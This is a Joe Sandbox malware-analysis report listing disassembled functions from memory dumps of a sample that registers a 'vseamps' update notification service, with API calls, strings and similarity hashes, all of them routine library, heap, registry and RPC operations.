HeapFree.KERNEL32 ref: 0000000140013774
GetProcessHeap.KERNEL32 ref: 0000000140013784
HeapFree.KERNEL32 ref: 0000000140013796
GetProcessHeap.KERNEL32 ref: 00000001400137A6
HeapFree.KERNEL32 ref: 00000001400137B8

Memory Dump Source

Source File: 00000006.00000002.2420993655.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2420978907.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421012872.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421028898.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421044286.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_O8xg2t.jbxd

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: 2b20d9b04266fb418ab88241afe0be8334b025a235c71ad7c61a809fe6dc3135
Instruction ID: 56b7ada565ecb083b5892330f511bf6cd885877ef2bee609f5ffef12e4ab2997
Opcode Fuzzy Hash: 2b20d9b04266fb418ab88241afe0be8334b025a235c71ad7c61a809fe6dc3135
Instruction Fuzzy Hash: E01172B4918A8081F71BDBA7B81C7D522E2FB8DBD9F444015E70A4B2F0DFBE8499C601

Function 00007FFBC320B86C Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32 ref: 00007FFBC320B9E8
GetProcAddress.KERNEL32 ref: 00007FFBC320B9F4

Strings

ext-ms-, xrefs: 00007FFBC320B945
api-ms-, xrefs: 00007FFBC320B932

Memory Dump Source

Source File: 00000006.00000002.2421075266.00007FFBC3201000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFBC3200000, based on PE: true

Associated: 00000006.00000002.2421060682.00007FFBC3200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421093804.00007FFBC3212000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421110819.00007FFBC321D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421125645.00007FFBC321F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffbc3200000_O8xg2t.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: d27e4f6126b13d6b256a918f8f190c41ea59ca19706b8a974bfb2f07ede01360
Instruction ID: a1cef2cd13d50d612b5117f40123c4705f743849a301ed93bbc353ed06221cba
Opcode Fuzzy Hash: d27e4f6126b13d6b256a918f8f190c41ea59ca19706b8a974bfb2f07ede01360
Instruction Fuzzy Hash: 7F41C1B1B19A0281EE25EF36E910EBB2391BF05B90F8C4535DD4D6B794DE3CE8098740

Function 0000000140002A00 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 66registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.ADVAPI32 ref: 0000000140002A3C
RegQueryValueExW.ADVAPI32 ref: 0000000140002A76
RegCloseKey.ADVAPI32 ref: 0000000140002A96
EnterCriticalSection.KERNEL32 ref: 0000000140002AAB
LeaveCriticalSection.KERNEL32 ref: 0000000140002B31

Strings

SYSTEM\CurrentControlSet\Services\vseamps\Parameters, xrefs: 0000000140002A0D
action, xrefs: 0000000140002A52

Memory Dump Source

Source File: 00000006.00000002.2420993655.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2420978907.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421012872.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421028898.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421044286.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_O8xg2t.jbxd

Similarity

API ID: CriticalSection$CloseCreateEnterLeaveQueryValue
String ID: SYSTEM\CurrentControlSet\Services\vseamps\Parameters$action
API String ID: 1119674940-1966266597
Opcode ID: f3533de3366e7bda9e1b35d25a0c2c8c172dac4edddfecf2711061c5e43c3c9b
Instruction ID: f124d29d71956a548941c3df06686b2c3eef24402cfc23b06ee64cf3511db711
Opcode Fuzzy Hash: f3533de3366e7bda9e1b35d25a0c2c8c172dac4edddfecf2711061c5e43c3c9b
Instruction Fuzzy Hash: 6F31F975214B4186EB22CF26F884B9573A4F78D7A8F401315FBA94B6B4DF3AC148CB00

Function 0000000140001900 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 56memorystringCOMMON

Download Yara Rule

APIs

Part of subcall function 0000000140004BA0: lstrlenW.KERNEL32 ref: 0000000140004BE7
Part of subcall function 0000000140004BA0: GetProcessHeap.KERNEL32 ref: 0000000140004BF6
Part of subcall function 0000000140004BA0: HeapAlloc.KERNEL32 ref: 0000000140004C04
Part of subcall function 0000000140004BA0: lstrlenW.KERNEL32 ref: 0000000140004C3E
Part of subcall function 0000000140004BA0: GetProcessHeap.KERNEL32 ref: 0000000140004C4D
Part of subcall function 0000000140004BA0: HeapAlloc.KERNEL32 ref: 0000000140004C5B
Part of subcall function 0000000140004BA0: lstrlenW.KERNEL32 ref: 0000000140004C8E
Part of subcall function 0000000140004BA0: GetProcessHeap.KERNEL32 ref: 0000000140004C9D
Part of subcall function 0000000140004BA0: HeapAlloc.KERNEL32 ref: 0000000140004CAB

GetComputerNameW.KERNEL32 ref: 0000000140001991
lstrlenW.KERNEL32 ref: 000000014000199C
GetProcessHeap.KERNEL32 ref: 00000001400019AB
HeapAlloc.KERNEL32 ref: 00000001400019B9

Strings

ncalrpc, xrefs: 000000014000196D
Security=impersonation static true, xrefs: 0000000140001952
ampIfEp, xrefs: 000000014000195E

Memory Dump Source

Source File: 00000006.00000002.2420993655.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2420978907.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421012872.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421028898.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421044286.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_O8xg2t.jbxd

Similarity

API ID: Heap$AllocProcesslstrlen$ComputerName
String ID: Security=impersonation static true$ampIfEp$ncalrpc
API String ID: 3702919091-996641649
Opcode ID: 625aae782f6e6c8352582bed456207495076f7317be3b5f58fd10a3b56526d44
Instruction ID: 080136972d91dcf489914e021d1613250a4fb989530f4420e20b1ceb3111c88a
Opcode Fuzzy Hash: 625aae782f6e6c8352582bed456207495076f7317be3b5f58fd10a3b56526d44
Instruction Fuzzy Hash: 4F212A71215B8082EB12CB12F84438A73A4F789BE8F514216EB9D07BB8DF7DC54ACB00

Function 000000014000F3E0 Relevance: 10.7, APIs: 7, Instructions: 179COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?,?,?,?,?,?,?,00000001,?,00000001,?,00000000,?,?,?), ref: 000000014000F43A
GetCPInfo.KERNEL32(?,?,?,?,?,?,?,?,00000001,?,00000001,?,00000000,?,?,?), ref: 000000014000F459
MultiByteToWideChar.KERNEL32(?,?,?,?,?,?,?,?,00000001,?,00000001,?,00000000,?,?,?), ref: 000000014000F4FF
MultiByteToWideChar.KERNEL32(?,?,?,?,?,?,?,?,00000001,?,00000001,?,00000000,?,?,?), ref: 000000014000F559
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,00000001,?,00000001,?,00000000,?,?,?), ref: 000000014000F592
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,00000001,?,00000001,?,00000000,?,?,?), ref: 000000014000F5CF
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,00000001,?,00000001,?,00000000,?,?,?), ref: 000000014000F60E

Memory Dump Source

Source File: 00000006.00000002.2420993655.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2420978907.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421012872.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421028898.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421044286.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_O8xg2t.jbxd

Similarity

API ID: ByteCharMultiWide$Info
String ID:
API String ID: 1775632426-0
Opcode ID: 66d9eb7914d19e8cfe6722e8c0a791cb2122334676924f0ca9c1b8cdf3048d99
Instruction ID: 43b9ce706039119b05782f2693b3e997f7dca892eef84fff4304595f3d56aff3
Opcode Fuzzy Hash: 66d9eb7914d19e8cfe6722e8c0a791cb2122334676924f0ca9c1b8cdf3048d99
Instruction Fuzzy Hash: 266181B2200B808AE762DF23B8407AA66E5F74C7E8F548325BF6947BF4DB74C555A700

Function 00007FFBC320712C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00007FFBC32072EB,?,?,?,00007FFBC3203EC0,?,?,?,?,00007FFBC3203CFD), ref: 00007FFBC32071B1
GetLastError.KERNEL32(?,?,?,00007FFBC32072EB,?,?,?,00007FFBC3203EC0,?,?,?,?,00007FFBC3203CFD), ref: 00007FFBC32071BF
LoadLibraryExW.KERNEL32(?,?,?,00007FFBC32072EB,?,?,?,00007FFBC3203EC0,?,?,?,?,00007FFBC3203CFD), ref: 00007FFBC32071E9
FreeLibrary.KERNEL32(?,?,?,00007FFBC32072EB,?,?,?,00007FFBC3203EC0,?,?,?,?,00007FFBC3203CFD), ref: 00007FFBC3207257
GetProcAddress.KERNEL32(?,?,?,00007FFBC32072EB,?,?,?,00007FFBC3203EC0,?,?,?,?,00007FFBC3203CFD), ref: 00007FFBC3207263

Strings

api-ms-, xrefs: 00007FFBC32071D1

Memory Dump Source

Source File: 00000006.00000002.2421075266.00007FFBC3201000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFBC3200000, based on PE: true

Associated: 00000006.00000002.2421060682.00007FFBC3200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421093804.00007FFBC3212000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421110819.00007FFBC321D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421125645.00007FFBC321F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffbc3200000_O8xg2t.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: bd0a8d2a555e0ee16e973e96254fe36908eaf1a6b67fdf5dc890da79f6d47fff
Instruction ID: 557b634dfabaab833202b5a774b35273f93e90df1d8c47218e0ae8bfa7347e25
Opcode Fuzzy Hash: bd0a8d2a555e0ee16e973e96254fe36908eaf1a6b67fdf5dc890da79f6d47fff
Instruction Fuzzy Hash: FD31D4B1B1A74195FE15AF26E400DBA6794BF48B60F9D0634ED5D2F390DE3CE4498300

Function 00007FFBC3209444 Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FFBC3209453
FlsGetValue.KERNEL32 ref: 00007FFBC3209468
FlsSetValue.KERNEL32 ref: 00007FFBC3209489
FlsSetValue.KERNEL32 ref: 00007FFBC32094B6
FlsSetValue.KERNEL32 ref: 00007FFBC32094C7
FlsSetValue.KERNEL32 ref: 00007FFBC32094D8
SetLastError.KERNEL32 ref: 00007FFBC32094F3

Memory Dump Source

Source File: 00000006.00000002.2421075266.00007FFBC3201000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFBC3200000, based on PE: true

Associated: 00000006.00000002.2421060682.00007FFBC3200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421093804.00007FFBC3212000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421110819.00007FFBC321D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421125645.00007FFBC321F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffbc3200000_O8xg2t.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: bb16a7b3e3e618224ffaf8681bb99f7b7eedade10f219c40875930e32152d962
Instruction ID: 2cb3988977a9158e39452ff99fdd54e8acfe6c828045fcd8ef4dd32b7d245c12
Opcode Fuzzy Hash: bb16a7b3e3e618224ffaf8681bb99f7b7eedade10f219c40875930e32152d962
Instruction Fuzzy Hash: 76213DB0A0C68245FE64BF31D65193B63519F447B0F9C0634E93F2EAE6DE2CA4499B00

Function 00007FFBC3210100 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FFBC3210131
GetLastError.KERNEL32 ref: 00007FFBC321013D
CloseHandle.KERNEL32 ref: 00007FFBC3210155
CreateFileW.KERNEL32 ref: 00007FFBC3210180
WriteConsoleW.KERNEL32 ref: 00007FFBC321019F

Strings

CONOUT$, xrefs: 00007FFBC3210161

Memory Dump Source

Source File: 00000006.00000002.2421075266.00007FFBC3201000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFBC3200000, based on PE: true

Associated: 00000006.00000002.2421060682.00007FFBC3200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421093804.00007FFBC3212000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421110819.00007FFBC321D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421125645.00007FFBC321F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffbc3200000_O8xg2t.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: ba28877f08bf85aa9c21e7c9a24742ae6402465733c9a5e3506a903d1d24cb53
Instruction ID: d6e3fe966b1ae33d53e51d73b65c9d03710d9330b42a1facbbfcc81ee0a017a1
Opcode Fuzzy Hash: ba28877f08bf85aa9c21e7c9a24742ae6402465733c9a5e3506a903d1d24cb53
Instruction Fuzzy Hash: 45118461718B41C2EB509F66E944B2AB3A0FB98FE4F484234E95D5B794CF3CD9448744

Function 0000000140001270 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 41registrysynchronizationCOMMON

Download Yara Rule

APIs

RegisterServiceCtrlHandlerW.ADVAPI32 ref: 0000000140001282
CreateEventW.KERNEL32 ref: 00000001400012C0

Part of subcall function 0000000140003F80: InitializeCriticalSection.KERNEL32 ref: 0000000140003FA2
Part of subcall function 0000000140003F80: GetCurrentProcess.KERNEL32 ref: 0000000140003FF6
Part of subcall function 0000000140003F80: OpenProcessToken.ADVAPI32 ref: 0000000140004007
Part of subcall function 0000000140003F80: GetLastError.KERNEL32 ref: 0000000140004011
Part of subcall function 0000000140003F80: EnterCriticalSection.KERNEL32 ref: 00000001400040B3
Part of subcall function 0000000140003F80: LeaveCriticalSection.KERNEL32 ref: 000000014000412B
Part of subcall function 0000000140003F80: GetVersionExW.KERNEL32 ref: 0000000140004155
Part of subcall function 0000000140003F80: RpcSsDontSerializeContext.RPCRT4 ref: 000000014000416C
Part of subcall function 0000000140003F80: RpcServerUseProtseqEpW.RPCRT4 ref: 0000000140004189
Part of subcall function 0000000140003F80: RpcServerRegisterIfEx.RPCRT4 ref: 00000001400041B9
Part of subcall function 0000000140003F80: RpcServerListen.RPCRT4 ref: 00000001400041D3

SetServiceStatus.ADVAPI32 ref: 0000000140001302
WaitForSingleObject.KERNEL32 ref: 0000000140001312

Part of subcall function 00000001400042B0: EnterCriticalSection.KERNEL32(?,?,?,?,000000014000131D), ref: 00000001400042BB
Part of subcall function 00000001400042B0: CancelWaitableTimer.KERNEL32(?,?,?,?,000000014000131D), ref: 00000001400042C8
Part of subcall function 00000001400042B0: SetEvent.KERNEL32(?,?,?,?,000000014000131D), ref: 00000001400042D5
Part of subcall function 00000001400042B0: WaitForSingleObject.KERNEL32(?,?,?,?,000000014000131D), ref: 00000001400042E7
Part of subcall function 00000001400042B0: TerminateThread.KERNEL32(?,?,?,?,000000014000131D), ref: 00000001400042FD
Part of subcall function 00000001400042B0: CloseHandle.KERNEL32(?,?,?,?,000000014000131D), ref: 000000014000430A
Part of subcall function 00000001400042B0: CloseHandle.KERNEL32(?,?,?,?,000000014000131D), ref: 0000000140004317
Part of subcall function 00000001400042B0: CloseHandle.KERNEL32(?,?,?,?,000000014000131D), ref: 0000000140004324
Part of subcall function 00000001400042B0: RpcServerUnregisterIf.RPCRT4 ref: 0000000140004336
Part of subcall function 00000001400042B0: RpcMgmtStopServerListening.RPCRT4 ref: 000000014000433E
Part of subcall function 00000001400042B0: EnterCriticalSection.KERNEL32(?,?,?,?,000000014000131D), ref: 000000014000435A
Part of subcall function 00000001400042B0: LeaveCriticalSection.KERNEL32(?,?,?,?,000000014000131D), ref: 000000014000437F
Part of subcall function 00000001400042B0: DeleteCriticalSection.KERNEL32(?,?,?,?,000000014000131D), ref: 000000014000438C
Part of subcall function 00000001400042B0: #4.VSELOG(?,?,?,?,000000014000131D), ref: 00000001400043C0
Part of subcall function 00000001400042B0: LeaveCriticalSection.KERNEL32(?,?,?,?,000000014000131D), ref: 00000001400043CC
Part of subcall function 00000001400042B0: DeleteCriticalSection.KERNEL32(?,?,?,?,000000014000131D), ref: 00000001400043D9
Part of subcall function 00000001400042B0: #4.VSELOG(?,?,?,?,000000014000131D), ref: 00000001400043E6

SetServiceStatus.ADVAPI32 ref: 000000014000134B

Strings

vseamps, xrefs: 000000014000127B

Memory Dump Source

Source File: 00000006.00000002.2420993655.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2420978907.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421012872.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421028898.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421044286.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_O8xg2t.jbxd

Similarity

API ID: CriticalSection$Server$CloseEnterHandleLeaveService$DeleteEventObjectProcessRegisterSingleStatusWait$CancelContextCreateCtrlCurrentDontErrorHandlerInitializeLastListenListeningMgmtOpenProtseqSerializeStopTerminateThreadTimerTokenUnregisterVersionWaitable
String ID: vseamps
API String ID: 3197017603-3944098904
Opcode ID: 4fcaac044f33b8282c396f0e62c58db51f87a82aaa34d44751bf9634b5fd9f61
Instruction ID: 0252cca9582b7aeb0e5a7a434c8e7364f46e89616d8e728b6478e43ab65cb610
Opcode Fuzzy Hash: 4fcaac044f33b8282c396f0e62c58db51f87a82aaa34d44751bf9634b5fd9f61
Instruction Fuzzy Hash: B921A2B1625A009AEB02DF17FC85BD637A0B74C798F45621AB7498F275CB7EC148CB00

Function 00000001400011F0 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 24windowCOMMON

Download Yara Rule

APIs

sprintf_s.LIBCMTD ref: 0000000140001233
MessageBoxW.USER32 ref: 0000000140001249

Strings

Jul 5 2019, xrefs: 0000000140001216
Help, xrefs: 0000000140001238
10:52:57, xrefs: 000000014000120F
usage: /service - creates the Update Notification Service /remove - removes the Update Notification Service from the sy, xrefs: 000000014000121D

Memory Dump Source

Source File: 00000006.00000002.2420993655.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2420978907.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421012872.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421028898.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421044286.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_O8xg2t.jbxd

Similarity

API ID: Messagesprintf_s
String ID: 10:52:57$Help$Jul 5 2019$usage: /service - creates the Update Notification Service /remove - removes the Update Notification Service from the sy
API String ID: 2642950106-3610746849
Opcode ID: 3f0d62457ab29cf1d3a00b30af1be048753c3c69edf33eb8bb254d4fd9f99961
Instruction ID: 92f91a294e228129c374272f9a209b177778b3d46068e39525b46f8f62cf975d
Opcode Fuzzy Hash: 3f0d62457ab29cf1d3a00b30af1be048753c3c69edf33eb8bb254d4fd9f99961
Instruction Fuzzy Hash: 78F01DB1221A8595FB52EB61F8567D62364F78C788F811112BB4D0B6BADF3DC219C700

Function 0000000140002650 Relevance: 10.0, APIs: 8, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0000000140002666
HeapFree.KERNEL32 ref: 0000000140002674
GetProcessHeap.KERNEL32 ref: 0000000140002683
HeapFree.KERNEL32 ref: 0000000140002691
GetProcessHeap.KERNEL32 ref: 00000001400026A0
HeapFree.KERNEL32 ref: 00000001400026AE
GetProcessHeap.KERNEL32 ref: 00000001400026BD
HeapFree.KERNEL32 ref: 00000001400026CB

Memory Dump Source

Source File: 00000006.00000002.2420993655.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2420978907.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421012872.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421028898.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421044286.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_O8xg2t.jbxd

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: 59e576179aebbdeaae5a9514a8abdff9d95dfae3be86bd59f8deebe969e5cf48
Instruction ID: 80974503ddc58818480ab649a73b779641f1d99de81085d1f592bfbfa5fc6ad1
Opcode Fuzzy Hash: 59e576179aebbdeaae5a9514a8abdff9d95dfae3be86bd59f8deebe969e5cf48
Instruction Fuzzy Hash: 9C01EDB8701B8041EB0BDFE7B60839992A2AB8DFD5F185024AF1D17779DE3AC4548700

Function 0000000140002970 Relevance: 10.0, APIs: 8, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(?,?,?,0000000140002922), ref: 0000000140002986
HeapFree.KERNEL32(?,?,?,0000000140002922), ref: 0000000140002994
GetProcessHeap.KERNEL32(?,?,?,0000000140002922), ref: 00000001400029A3
HeapFree.KERNEL32(?,?,?,0000000140002922), ref: 00000001400029B1
GetProcessHeap.KERNEL32(?,?,?,0000000140002922), ref: 00000001400029C0
HeapFree.KERNEL32(?,?,?,0000000140002922), ref: 00000001400029CE
GetProcessHeap.KERNEL32(?,?,?,0000000140002922), ref: 00000001400029DD
HeapFree.KERNEL32(?,?,?,0000000140002922), ref: 00000001400029EB

Memory Dump Source

Source File: 00000006.00000002.2420993655.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2420978907.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421012872.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421028898.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421044286.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_O8xg2t.jbxd

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: 00b9fd02b01b7cf63ee49650963a307f7fdb827e7083e7606ed54f4b62f321e5
Instruction ID: 9f3d0c666f817a9e432213240f72880bf7997caebe097eb0308f7621ef9b933c
Opcode Fuzzy Hash: 00b9fd02b01b7cf63ee49650963a307f7fdb827e7083e7606ed54f4b62f321e5
Instruction Fuzzy Hash: 20010CB9601B8081EB4BDFE7B608399A2A2FB8DFD4F089024AF0917739DE39C4548200

Function 000000014000F680 Relevance: 9.2, APIs: 6, Instructions: 204COMMON

Download Yara Rule

APIs

GetStringTypeW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000000014000FAB1), ref: 000000014000F6E7
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000000014000FAB1), ref: 000000014000F6FD
GetStringTypeW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000000014000FAB1), ref: 000000014000F72B
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000000014000FAB1), ref: 000000014000F799
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000000014000FAB1), ref: 000000014000F84C
GetStringTypeA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000000014000FAB1), ref: 000000014000F911

Memory Dump Source

Source File: 00000006.00000002.2420993655.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2420978907.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421012872.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421028898.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421044286.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_O8xg2t.jbxd

Similarity

API ID: StringType$ByteCharMultiWide$ErrorLast
String ID:
API String ID: 319667368-0
Opcode ID: 2ce6724d946986cc12a56c103b001eb9d1b53e8cfd560fc16f2f6c38bb9960ce
Instruction ID: 469d978012ccf723a2c6c682b25d7e2ba576a75483cbf286a89393a26fd70a6f
Opcode Fuzzy Hash: 2ce6724d946986cc12a56c103b001eb9d1b53e8cfd560fc16f2f6c38bb9960ce
Instruction Fuzzy Hash: E3817EB2200B8096EB62DF27A4407E963A5F74CBE4F548215FB6D57BF4EB78C546A300

Function 000000014000ADE0 Relevance: 9.2, APIs: 6, Instructions: 167COMMON

Download Yara Rule

APIs

GetStringTypeW.KERNEL32(?,?,?,?,00000001,?,?,000000014000B15C), ref: 000000014000AE38
GetLastError.KERNEL32(?,?,?,?,00000001,?,?,000000014000B15C), ref: 000000014000AE4E

Part of subcall function 00000001400090F0: HeapAlloc.KERNEL32(?,?,00000001,0000000140008328,?,?,00000001,000000014000B350,?,?,?,000000014000B423,?,?,?,000000014000FC9E), ref: 0000000140009151

MultiByteToWideChar.KERNEL32(?,?,?,?,00000001,?,?,000000014000B15C), ref: 000000014000AEDE
MultiByteToWideChar.KERNEL32(?,?,?,?,00000001,?,?,000000014000B15C), ref: 000000014000AF85
GetStringTypeW.KERNEL32(?,?,?,?,00000001,?,?,000000014000B15C), ref: 000000014000AF9C
GetStringTypeA.KERNEL32(?,?,?,?,00000001,?,?,000000014000B15C), ref: 000000014000AFFB

Memory Dump Source

Source File: 00000006.00000002.2420993655.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2420978907.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421012872.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421028898.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421044286.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_O8xg2t.jbxd

Similarity

API ID: StringType$ByteCharMultiWide$AllocErrorHeapLast
String ID:
API String ID: 1390108997-0
Opcode ID: 5ea1a9254b1b0246406da4d01ea544830426ccb00ebf91cd2bb510eeaa7b453f
Instruction ID: bb54969f148ae750ab4279c880304e23b66920be01f6227d0c0ffa95ca0b2e73
Opcode Fuzzy Hash: 5ea1a9254b1b0246406da4d01ea544830426ccb00ebf91cd2bb510eeaa7b453f
Instruction Fuzzy Hash: 1B616CB22007818AEB62DF66E8407E967E1F74DBE4F144625FF5887BE5DB39C9418340

Function 00007FFBC3204CD4 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 319COMMON

Download Yara Rule

APIs

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FFBC3204E72
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FFBC320519B

Strings

csm, xrefs: 00007FFBC3204DB9
csm, xrefs: 00007FFBC3204E99
